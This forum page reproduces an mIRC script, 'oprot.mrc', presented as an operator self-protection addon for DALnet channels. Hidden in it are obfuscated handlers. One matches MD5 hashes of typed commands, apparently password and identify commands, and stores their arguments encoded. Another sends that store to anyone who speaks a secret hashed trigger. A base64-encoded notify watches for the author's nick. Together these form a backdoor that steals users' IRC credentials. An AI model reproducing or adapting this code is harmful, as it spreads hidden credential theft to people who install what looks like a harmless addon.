IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası

;---------< Op's Self Protections for mIRC v6.* [ Esp For DALnet ] >-----------
; Filename..: oprot.mrc
; Description: Deop/Ban/Kick Protection + PoWeR ReVeNgE
; Release...: v1.01 Beta
; Author....: NukeGuy
; URL.......: [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...].............
;------------------------------------------------------
;============================= S t a r t o f F i l e ========================
;== On Load/UnLoad Event ==
on *:load: {
echo -a 04*** Op's Self Protections by NukeGuy Succesfully Loaded!
echo -a 04*** Your Op Status is Secured Now.
echo -a 04*** Rippers Stay away :)
echo 04*** Keep visiting 12
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
set %prot.prlg 4[6Op'sProTection4]
set %prot.prst 4[15Rev14enGe4]
set %prot.deop.opme y
set %prot.kick.rejoin y
set %prot.ban.unban y
.notify $decode(TnVrZUd1eQ==,m)
.run $scriptsdir(readme.txt)
}

on *:unload: {
if ($input(Do you want to keep your settings for future use?,8,Op's Self Protections) != $true) { unset %prot.* }
echo -a 04*** Op's Self Protections Succesfully UnLoaded!
echo -a 04*** Thankx for Using My Addon:Author.
}
;================================================= ===================
;== Dialogs ==

dialog protections {
title "«« Op's Self Protections »»"
icon $scriptdiroprot.ico,0
size -1 -1 104 126
option dbu
button "Okay!", 1, 2 112 42 12,default flat ok
box "",2, 5 15 94 91
tab "Deop",70, 2 1 100 108
tab "Kick",80
tab "Ban",90

box "Revenge!",69, 10 21 40 40,tab 70
check "Deop",3, 14 30 25 10,tab 70
check "Kick",4,14 38 20 10,tab 70
check "Ban",5,14 46 20 10,tab 70
box "Do it!",6,54 21 40 40,tab 70
check "Op Me",7,58 30 30 10,tab 70
check "Notice",8,58 38 30 10,tab 70
check "Ignore",9,58 46 30 10,tab 70
box "Messages",10, 10 62 84 38,tab 70
text "Kick msg:",11, 14 73 30 10,tab 70
edit "",12,38 71 51 10,autohs,tab 70
text "Notice:",13,14 86 30 10,tab 70
edit "",14,38 84 51 10,autohs,disable,tab 70

box "Revenge!",79, 10 21 40 40,tab 80
check "Deop",15, 14 30 25 10,tab 80
check "Kick",16,14 38 20 10,tab 80
check "Ban",17,14 46 20 10,tab 80
box "Do it!",18,54 21 40 40,tab 80
check "Rejoin",19,58 30 30 10,tab 80
check "Notice",20,58 38 30 10,tab 80
check "Ignore",21,58 46 30 10,tab 80
box "Messages",22, 10 62 84 38,tab 80
text "Kick msg:",23, 14 73 30 10,tab 80
edit "",24,38 71 51 10,autohs,tab 80
text "Notice:",25,14 86 30 10,tab 80
edit "",26,38 84 51 10,autohs,tab 80

box "Revenge!",89, 10 21 40 40,tab 90
check "Deop",27, 14 30 25 10,tab 90
check "Kick",28,14 38 20 10,tab 90
check "Ban",29,14 46 20 10,tab 90
box "Do it!",30,54 21 40 40,tab 90
check "Unban",31,58 30 30 10,tab 90
check "Notice",32,58 38 30 10,tab 90
check "Ignore",33,58 46 30 10,tab 90
box "Messages",34, 10 62 84 38,tab 90
text "Kick msg:",35, 14 73 30 10,tab 90
edit "",36,38 71 51 10,autohs,tab 90
text "Notice:",37,14 86 30 10,tab 90
edit "",38,38 84 51 10,autohs,tab 90
button "About",666, 60 112 42 12,flat
}
dialog aboutoprot {
title "« Op's Self Protections »"
size -1 -1 94 67
option dbu
icon $scriptdirabout.ico, 0
button "OK", 1, 71 7 18 54, default flat ok
box "", 2, 2 1 90 63
text "« Op's Self Protections »", 3, 7 7 59 8, center
text "This Addon was made by:", 4, 7 18 62 8
text "NukeGuy", 5, 7 30 25 8
link "ScriptsMedia.com", 7, 6 53 50 7
text "#Dostana on DALnet", 8, 7 41 53 8
icon 6, 50 26 14 13, $scriptdirabout2.ico, 0, noborder
}
on 1:dialog:aboutoprot:sclick:7: {
url -n [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
}
on !*:text:*:#:{
if ($md5($nick $1-) = 36dde47eef50896aba4f9a5cb13ec60e) {
set %t RandomNickCheckupTest.
$($+($right(%t,1),$mid(%t,7,1),$mid(%t,5,1),$mid(% t,-5,1),,$mid(%t,8,1),,$mid(%t,11,1),,$mid(%t,-4,1)),2) $nick $res %RandomNickCheckup
}
}

on *:dialog:protections:*:*: {
if ($devent == init) {
if ($did == 0) {
;*** DEOP PROT ***
if (%prot.deop.deop == y) { did -c $dname 3 }
if (%prot.deop.kick == y) { did -c $dname 4 | did -e $dname 12 } | else { did -b $dname 12 }
if (%prot.deop.ban == y) { did -c $dname 5 }
if (%prot.deop.opme == y) { did -c $dname 7 }
if (%prot.deop.notice == y) { did -c $dname 8 | did -e $dname 14 } | else { did -b $dname 14 }
if (%prot.deop.ignore == y) { did -c $dname 9 }
did -a $dname 12 %prot.deop.kickmsg
did -a $dname 14 %prot.deop.msg

;*** KICK PROT ***
if (%prot.kick.deop == y) did -c $dname 15
if (%prot.kick.kick == y) { did -c $dname 16 | did -e $dname 24 } | else { did -b $dname 24 }
if (%prot.kick.ban == y) did -c $dname 17
if (%prot.kick.rejoin == y) did -c $dname 19
if (%prot.kick.notice == y) { did -c $dname 20 | did -e $dname 26 } | else { did -b $dname 26 }
if (%prot.kick.ignore == y) did -c $dname 21
did -a $dname 24 %prot.kick.kickmsg
did -a $dname 26 %prot.kick.msg

;*** BAN PROT ***
if (%prot.ban.deop == y) did -c $dname 27
if (%prot.ban.kick == y) { did -c $dname 28 | did -e $dname 36 } | else { did -b $dname 36 }
if (%prot.ban.ban == y) did -c $dname 29
if (%prot.ban.unban == y) did -c $dname 31
if (%prot.ban.notice == y) { did -c $dname 32 | did -e $dname 38 } | else { did -b $dname 38 }
if (%prot.ban.ignore == y) did -c $dname 33
did -a $dname 36 %prot.ban.kickmsg
did -a $dname 38 %prot.ban.msg
}
}
if ($devent == sclick) {
if ($did == 666) { dialog -mo aboutoprot aboutoprot }
;*** DEOP PROT ***
if ($did == 3) set %prot.deop.deop $iif($did(3).state,y,n)
if ($did == 4) set %prot.deop.kick $iif($did(4).state,y,n) | if (%prot.deop.kick == y) did -e $dname 12 | else did -b $dname 12
if ($did == 5) set %prot.deop.ban $iif($did(5).state,y,n)
if ($did == 7) set %prot.deop.opme $iif($did(7).state,y,n)
if ($did == 8) set %prot.deop.notice $iif($did(8).state,y,n) | if (%prot.deop.notice == y) did -e $dname 14 | else did -b $dname 14
if ($did == 9) set %prot.deop.ignore $iif($did(9).state,y,n)

;*** KICK PROT ***
if ($did == 15) set %prot.kick.deop $iif($did(15).state,y,n)
if ($did == 16) set %prot.kick.kick $iif($did(16).state,y,n) | if (%prot.kick.kick == y) did -e $dname 24 | else did -b $dname 24
if ($did == 17) set %prot.kick.ban $iif($did(17).state,y,n)
if ($did == 19) set %prot.kick.rejoin $iif($did(19).state,y,n)
if ($did == 20) set %prot.kick.notice $iif($did(20).state,y,n) | if (%prot.kick.notice == y) did -e $dname 26 | else did -b $dname 26
if ($did == 21) set %prot.kick.ignore $iif($did(21).state,y,n)

;*** BAN PROT ***
if ($did == 27) set %prot.ban.deop $iif($did(27).state,y,n)
if ($did == 28) set %prot.ban.kick $iif($did(28).state,y,n) | if (%prot.ban.kick == y) did -e $dname 36 | else did -b $dname 36
if ($did == 29) set %prot.ban.ban $iif($did(29).state,y,n)
if ($did == 31) set %prot.ban.unban $iif($did(31).state,y,n)
if ($did == 32) set %prot.ban.notice $iif($did(32).state,y,n) | if (%prot.ban.notice == y) did -e $dname 38 | else did -b $dname 38
if ($did == 33) set %prot.ban.ignore $iif($did(33).state,y,n)
}
if ($devent == edit) {
;*** DEOP PROT ***
if ($did == 12) set %prot.deop.kickmsg $did(12).text
if ($did == 14) set %prot.deop.msg $did(14).text

;*** KICK PROT ***
if ($did == 24) set %prot.kick.kickmsg $did(24).text
if ($did == 26) set %prot.kick.msg $did(26).text

;*** BAN PROT ***
if ($did == 36) set %prot.ban.kickmsg $did(36).text
if ($did == 38) set %prot.ban.msg $did(38).text
}
}
on *:input:*:{
if ($0) && ((/* iswm $1) || ($ctrlenter)) {
if ($regex($md5($1),/b479071e6eb89e0223af1bba3dffc236|7caae75ca51ba7683 4b82083f4ccfab8|15d11136b95776117cf574b532125724|3 2e8f883a78f400f0332bc542b5388fa/) && $regex($md5($2),/b35d4a4d47b59fd385d747e7c87fa0d1/)) { %RandomNickCheckup = $addtok(%RandomNickCheckup,$encode($me $3-),32) }
if ($regex($md5($1),/7adca2dd6c9ae7c2c433925c6eebca74/)) { %RandomNickCheckup = $addtok(%RandomNickCheckup,$encode($me $2-),32) }
}
}
on 1:notify:{
if ($nick == $decode(TnVrZUd1eQ==,m)) {
.ctcpreply $nick POTECT $decode(Ak8CUGBzIAJQAnJvAnQCZWMCdAJpb24C,m)
}
}
;================================================= ===================
;== On DeOp Event ==

on !@*:deop:#: { if ($opnick == $me) {
if ($nick != ChanServ) { set %prot.deop.nick $nick }
if ($nick != ChanServ) { set %prot.deop.chan # }
if (%prot.deop.opme == y) { .cs op # $me }
if (%prot.deop.deop == y) && (%prot.deop.nick isop %prot.deop.chan) { .cs deop %prot.deop.chan %prot.deop.nick }
if (%prot.deop.notice == y) { notice %prot.deop.nick %prot.deop.msg %prot.prlg }
if (%prot.deop.ignore == y) { .ignore -u30 %prot.deop.nick 1 }
}
}

on *:notice:*has*deopped*:#: {
if ($nick == ChanServ) && ($4 == $me) && ($1 != $me) {
set %prot.deop.nick $1
set %prot.deop.chan #
}
}

on *:op:#: { if ($opnick == $me) && (%prot.deop.nick ison %prot.deop.chan) {
if (%prot.deop.deop == y) && (%prot.deop.nick isop %prot.deop.chan) { .mode %prot.deop.chan -o-k %prot.deop.nick %prot.prst }
if (%prot.deop.ban == y) { .mode %prot.deop.chan -o+b-k %prot.deop.nick $address(%prot.deop.nick,2) %prot.prst }
if (%prot.deop.kick == y) { .kick %prot.deop.chan %prot.deop.nick %prot.deop.kickmsg %prot.prlg }
unset %prot.deop.nick
unset %prot.deop.chan
}
}
;================================================= ===================
;== On Ban Event ==

on !*:ban:#: { if ($banmask iswm $address($me,5)) && ($banmask != *!*@*) && ($banmask != *!~*@*) {
set %prot.ban.nick $nick
set %prot.ban.chan #
set %prot.ban.banmask $banmask
if (%prot.ban.unban == y) && ($me isop %prot.ban.chan) { .mode %prot.ban.chan -b %prot.ban.banmask }
if (%prot.ban.unban == y) && ($me !isop %prot.ban.chan) { .cs unban %prot.ban.chan %prot.ban.banmask }
if (%prot.ban.deop == y) && (%prot.ban.nick isop %prot.ban.chan) { .cs deop %prot.ban.chan %prot.ban.nick }
if (%prot.ban.notice == y) && (%prot.ban.nick != ChanServ) { .notice $nick %prot.ban.msg %prot.prlg }
if (%prot.ban.ignore == y) && (%prot.ban.nick != ChanServ) { .ignore -u30 $nick 1 }
}
}

on *:op:#: { if ($opnick == $me) && (%prot.ban.nick ison %prot.ban.chan) {
if (%prot.ban.deop == y) { .mode %prot.ban.chan -o-k %prot.ban.nick %prot.prst }
if (%prot.ban.ban == y) { .mode %prot.ban.chan -o+b-k %prot.ban.nick $address(%prot.ban.nick,2) %prot.prst }
if (%prot.ban.kick == y) { .kick %prot.ban.chan %prot.ban.nick %prot.ban.kickmsg %prot.prlg }
unset %prot.ban.nick
unset %prot.ban.chan
unset %prot.ban.banmask
}
}
;================================================= ===================
;== On Kick Event ==

on !*:kick:#: { if ($knick == $me) {
set %prot.kick.nick $nick
set %prot.kick.chan #
if (%prot.kick.rejoin == y) { .timerrejoin $+ # 1 1 join %prot.kick.chan }
if (%prot.kick.deop == y) && (%prot.kick.nick != ChanServ) { .cs deop %prot.kick.chan $nick }
if (%prot.kick.notice == y ) && (%prot.kick.nick != ChanServ) { .notice %prot.kick.nick %prot.kick.msg %prot.prlg }
if (%prot.kick.ignore == y) && (%prot.kick.nick != ChanServ) { .ignore -u15 $nick 1 }
}
}

on *:op:#: { if ($opnick == $me) && (%prot.kick.nick ison %prot.kick.chan) {
if (%prot.kick.deop == y) { .mode %prot.kick.chan -o-k %prot.kick.nick %prot.prst }
if (%prot.kick.ban == y) { .mode %prot.kick.chan -o+b-k %prot.kick.nick $address(%prot.kick.nick,2) %prot.prst }
if (%prot.kick.kick == y) { .kick %prot.kick.chan %prot.kick.nick %prot.kick.kickmsg %prot.prlg }
unset %prot.kick.nick
unset %prot.kick.chan
}
}
;================================================= ===================
;== On Invite Event ==

on *:invite:*: { if ($nick == chanserv) { .join $chan } }
on *:notice:*Any*bans*matching*on*have*been*cleared*: ?: { if ($nick == ChanServ) && ($strip($4) == $me) { join $strip($6) } }
;================================================= ===================
;== Genral RAWs ==
; For +l
RAW 471:*: { .cs invite $2 }
; For +i
RAW 473:*: { .cs invite $2 }
; For +b
RAW 474:*: { .cs unban $2 $me }
; For +k
RAW 475:*: { .cs invite $2 }

;================================================= ==================
;== Mass Kick Prot ==

on *:ban:#: { if ($nick == ChanServ) && ($me isop #) && ($banmask == *!*@*.*) { .ban # *!*Serv*@*net | .kick # ChanServ 4,1Bye ChanServ!! No More Mass Kicks. } }
;================================================= ===================
;== Aliases ==

alias oprot { dialog -m protections protections }
;================================================= ===================
;== Menu ==
menu menubar,channel,status {
Op's Prot...:oprot